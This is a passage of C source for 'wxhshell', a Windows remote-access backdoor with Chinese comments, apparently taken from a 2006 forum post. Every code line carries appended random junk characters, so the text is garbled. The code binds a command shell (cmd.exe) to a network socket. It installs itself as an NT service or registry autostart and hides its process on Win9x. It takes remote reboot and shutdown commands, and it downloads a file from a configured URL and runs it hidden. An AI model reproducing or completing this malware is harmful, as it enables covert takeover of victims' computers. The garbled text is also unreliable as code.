  else { lin  
O5dBI_  
    switch(cmd[0]) { J=B,$4)9  
  ]~7xq)28  
  // 帮助 9M7Wlx2  
  case '?': { uO4R5F|tL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y0g6zHk7  
    break; zv~b-Tp  
  } xPMX\aI|l  
  // 安装 @] 3`S  
  case 'i': { LX7<+`aa  
    if(Install()) ZG)6{WS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I 8 Ls_$[  
    else `! _mIh}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X;d 1@G  
    break; 'J:xTp  
    } ?<~P)aVVj  
  // 卸载 [cT7Iqip  
  case 'r': { LEA^o"NW.  
    if(Uninstall()) Y*YV/E.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z[9f8/6<b  
    else G&#l3bkQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |3=tF"h  
    break; :s#&nY  
    } Xagz(tm/  
  // 显示 wxhshell 所在路径 VV"1IR  
  case 'p': { \= Wrh3  
    char svExeFile[MAX_PATH]; J-W8wCq`  
    strcpy(svExeFile,"\n\r"); tNYCyw{K  
      strcat(svExeFile,ExeFile); c1h?aP  
        send(wsh,svExeFile,strlen(svExeFile),0); crU]P $a  
    break; :JCe,1!3@  
    } ]lA.?  
  // 重启 .1h1J  
  case 'b': { M3YC@(N% k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8g6G},Y0  
    if(Boot(REBOOT)) pF7S("#R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E[tEW0ub  
    else { #$v,.Yk  
    closesocket(wsh); o_?A^u  
    ExitThread(0); >qci $  
    } uY:u[  
    break; V?4G~~F  
    } V#\iO  
  // 关机 1VB{dgr  
  case 'd': { aKw7m= {  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _}Ec[c  
    if(Boot(SHUTDOWN)) qQe23,x@5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m ?jF:] ^  
    else { E\XD~  
    closesocket(wsh); |1UJKJwX  
    ExitThread(0); y5N,~@$r  
    } { u1\M  
    break; MJG)fFl] O  
    } }bYk#6KX  
  // 获取shell 5Cl;h^R|m  
  case 's': { c'Zs2s7$  
    CmdShell(wsh); Uc5BNk7<=  
    closesocket(wsh); rB.LG'GG]  
    ExitThread(0); W(jP??up  
    break; ])mYE }g  
  } 5j#XNc)"  
  // 退出 dPyZzMes=  
  case 'x': { G$CI~0Se:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C%;J9(r  
    CloseIt(wsh); e18}`<tW-  
    break; X XC(R  
    } Cm[^+.=I  
  // 离开 sU;aA0kz  
  case 'q': { qm|T<zsDY#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lU%L  
    closesocket(wsh); ]L9$JTGF`w  
    WSACleanup(); {KM5pK?,BJ  
    exit(1); q|kkdK|N/Y  
    break; VB@M=ShKK  
        } H(ds  
  } ~19&s~  
  } 9Xeg &Z|!  
THz=_L6  
  // 提示信息 IW- BY =C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1n EW'F  
} L=<{tzTc  
  } ;p/$9b.0:  
$qfNEAmDf\  
  return; PVX23y;  
} eC*-/$D  
Gcd'- 1  
// shell模块句柄 $D~vuA7  
int CmdShell(SOCKET sock) uDsof?z  
{ Z)RV6@(  
STARTUPINFO si; Ib0@,yS[  
ZeroMemory(&si,sizeof(si)); c~{)vL0K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H@BU/{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +BkmI\  
PROCESS_INFORMATION ProcessInfo; afj[HJbY  
char cmdline[]="cmd"; SMbhJ}\O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y<*/\]t9L[  
  return 0; V"Y-|R  
} c_)lTI4  
w $z]Z-  
// 自身启动模式 L(\o66a-rV  
int StartFromService(void) P|kfPohI=  
{ nZ~J &QK-  
typedef struct >e9xM Gv  
{ b%D}mxbS  
  DWORD ExitStatus; ky |Py  
  DWORD PebBaseAddress; h-=lZ~W~  
  DWORD AffinityMask; -`} d@x  
  DWORD BasePriority; Kf'oXCs  
  ULONG UniqueProcessId; J?84WS  
  ULONG InheritedFromUniqueProcessId; qo5WZ be  
}   PROCESS_BASIC_INFORMATION; J G3#(DVc;  
~6O<5@k  
PROCNTQSIP NtQueryInformationProcess; U+'h~P'4  
e$=0.GWT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t+m ug  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %TA@-tK=  
`=VN\W^&  
  HANDLE             hProcess; m{ C  
  PROCESS_BASIC_INFORMATION pbi; x /xd  
9ZXEy }q57  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o+ 0"@B  
  if(NULL == hInst ) return 0; H?W8_XiN  
+6+!M_0wA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2JS&zF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _S;Fs|p_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j3)fmlA  
UsBtk  
  if (!NtQueryInformationProcess) return 0; M3/_E7Qoj  
gDBdaxR<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9 M!J7 W  
  if(!hProcess) return 0; ^Yu%JCN8g  
$ru()/pI)z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fKjUEMRK  
oJbMUEQQq  
  CloseHandle(hProcess); w8>  
t&L+]I'P3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )H`1CcT  
if(hProcess==NULL) return 0; p:CpY'KV_  
D+xHTQNTL  
HMODULE hMod; `dK%I  U  
char procName[255]; t +@UC+aW  
unsigned long cbNeeded; sqP (1|9  
1*u i|fuK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <zhN7="  
.iXI oka  
  CloseHandle(hProcess); jj8h>"d  
?5MOp  
if(strstr(procName,"services")) return 1; // 以服务启动 IW-lC{hK  
(_'Efpg|  
  return 0; // 注册表启动 si.w1  
} #gd`X|<Ch  
KG8Km  
// 主模块 >)p8^jX   
int StartWxhshell(LPSTR lpCmdLine) P<{N)H 2r  
{ pQf5s7  
  SOCKET wsl; *='J>z.]  
BOOL val=TRUE; WwBs_OMc  
  int port=0; z~y=(T  
  struct sockaddr_in door; :q,tmk h  
o9#8q_D9  
  if(wscfg.ws_autoins) Install(); R@Kzdeo  
2%*mL98WK  
port=atoi(lpCmdLine); >V1v.JH  
Y6r<+#V  
if(port<=0) port=wscfg.ws_port; x=~$ik++  
X23#y7:  
  WSADATA data; -VVJf5/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CBvvvgIo  
>^q7:x\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Uc<j{U ,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S eTn]  
  door.sin_family = AF_INET; "[t (u/e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qH1&tW$  
  door.sin_port = htons(port); E+xC1U 3  
HbXYinG%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { smTPca)7s  
closesocket(wsl); hxQx$  
return 1; JXA!l ?%  
} zUCtH*  
c^s%t:)K  
  if(listen(wsl,2) == INVALID_SOCKET) { 9C2DW,?  
closesocket(wsl); k-N` h  
return 1; `;vJ\$-<  
} xvx+a0 A  
  Wxhshell(wsl); / >q?H)6  
  WSACleanup(); 1so9w89  
W|e$@u9  
return 0; 6o4Bf| E]  
>GV = %  
} yE4X6  
m/(f?M l  
// 以NT服务方式启动 o@!Uds0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EmO{lCENk  
{ @0{vA\  
DWORD   status = 0; W+&<C#1|]  
  DWORD   specificError = 0xfffffff; FT/STI  
z1R_a=7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PH]/*LEj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0M_~@E*&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3!:?OUhx  
  serviceStatus.dwWin32ExitCode     = 0; 7g&"clRGO  
  serviceStatus.dwServiceSpecificExitCode = 0; oPCtLz}z  
  serviceStatus.dwCheckPoint       = 0; x'IYWo ]  
  serviceStatus.dwWaitHint       = 0; pX~X{JTaL)  
?1kXV n$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xYUC|c1Q9  
  if (hServiceStatusHandle==0) return; 8M&q  
OPtFz6   
status = GetLastError(); YLVZ]fN=>  
  if (status!=NO_ERROR)  wq@{85  
{ K.T.?ug;:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GjD^\d/  
    serviceStatus.dwCheckPoint       = 0; !:<(p  
    serviceStatus.dwWaitHint       = 0; #Z)8,N  
    serviceStatus.dwWin32ExitCode     = status; l k?@ =U~  
    serviceStatus.dwServiceSpecificExitCode = specificError; $>csm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;VI/iwg  
    return; luj UEHzp  
  } 7j22KQ|EX^  
|k ]{WCD]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gfY1:0  
  serviceStatus.dwCheckPoint       = 0; BhcTPQsW  
  serviceStatus.dwWaitHint       = 0; PZjK6]N\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `1fNB1c  
} ZS\~GQbG  
td"D&1eQ@  
// 处理NT服务事件,比如:启动、停止 EO: VH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,VdNP  
{ e [ 9  
switch(fdwControl) 2YV*U_\L  
{ (0W)Jd[  
case SERVICE_CONTROL_STOP: 9yrSCDu00  
  serviceStatus.dwWin32ExitCode = 0; oZCjci-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xP61^*-2  
  serviceStatus.dwCheckPoint   = 0; lc qpwSk  
  serviceStatus.dwWaitHint     = 0; _q7mYc  
  { dbG5Cf#K\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zD z"Dn9  
  } ;?K>dWf3f  
  return; {`>;I  
case SERVICE_CONTROL_PAUSE: lK 0pr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3 J!J#  
  break; KdTDBC  
case SERVICE_CONTROL_CONTINUE: %c"t`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nA)KRCi  
  break; [d^ [Y:I'\  
case SERVICE_CONTROL_INTERROGATE: a58]#L~  
  break; 5H!6 #pqM  
}; LeT OVgjA|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $(=0J*ND"  
} xb22 :  
EK=PY  
// 标准应用程序主函数 OoqA`%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u>y/<9]q8  
{ 1>IA9]D7  
_Q=h3(ZI  
// 获取操作系统版本 w$1B|7tX;2  
OsIsNt=GetOsVer(); Ht_7:5v&   
GetModuleFileName(NULL,ExeFile,MAX_PATH); li7"{+ct  
L7rH=gZ&!]  
  // 从命令行安装 &s>E~M0+J  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?Tr\r1s]  
}VDJ  
  // 下载执行文件 (S)jV 0  
if(wscfg.ws_downexe) { (ibj~g?U,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]r\d 5  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6 #m:=  
} ^2 }p%j >  
4Y `=`{Q  
if(!OsIsNt) {  aWTvowA  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hph$Z 1{  
HideProc(); k0^t$J W  
StartWxhshell(lpCmdLine); )r|Pm-:A{  
} cf{rK`Ff^  
else IQNvhl.{  
  if(StartFromService()) cI/Puh^3  
  // 以服务方式启动 UJ^MS4;I3  
  StartServiceCtrlDispatcher(DispatchTable); 8^2E77s4U  
else dZIruZ)x  
  // 普通方式启动 X*QQVj  
  StartWxhshell(lpCmdLine); g3Z"ri~!G  
eX3|<Bf  
return 0; 3@8Zy:[8<  
}
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只看该作者 1 发表于: 2006-10-10
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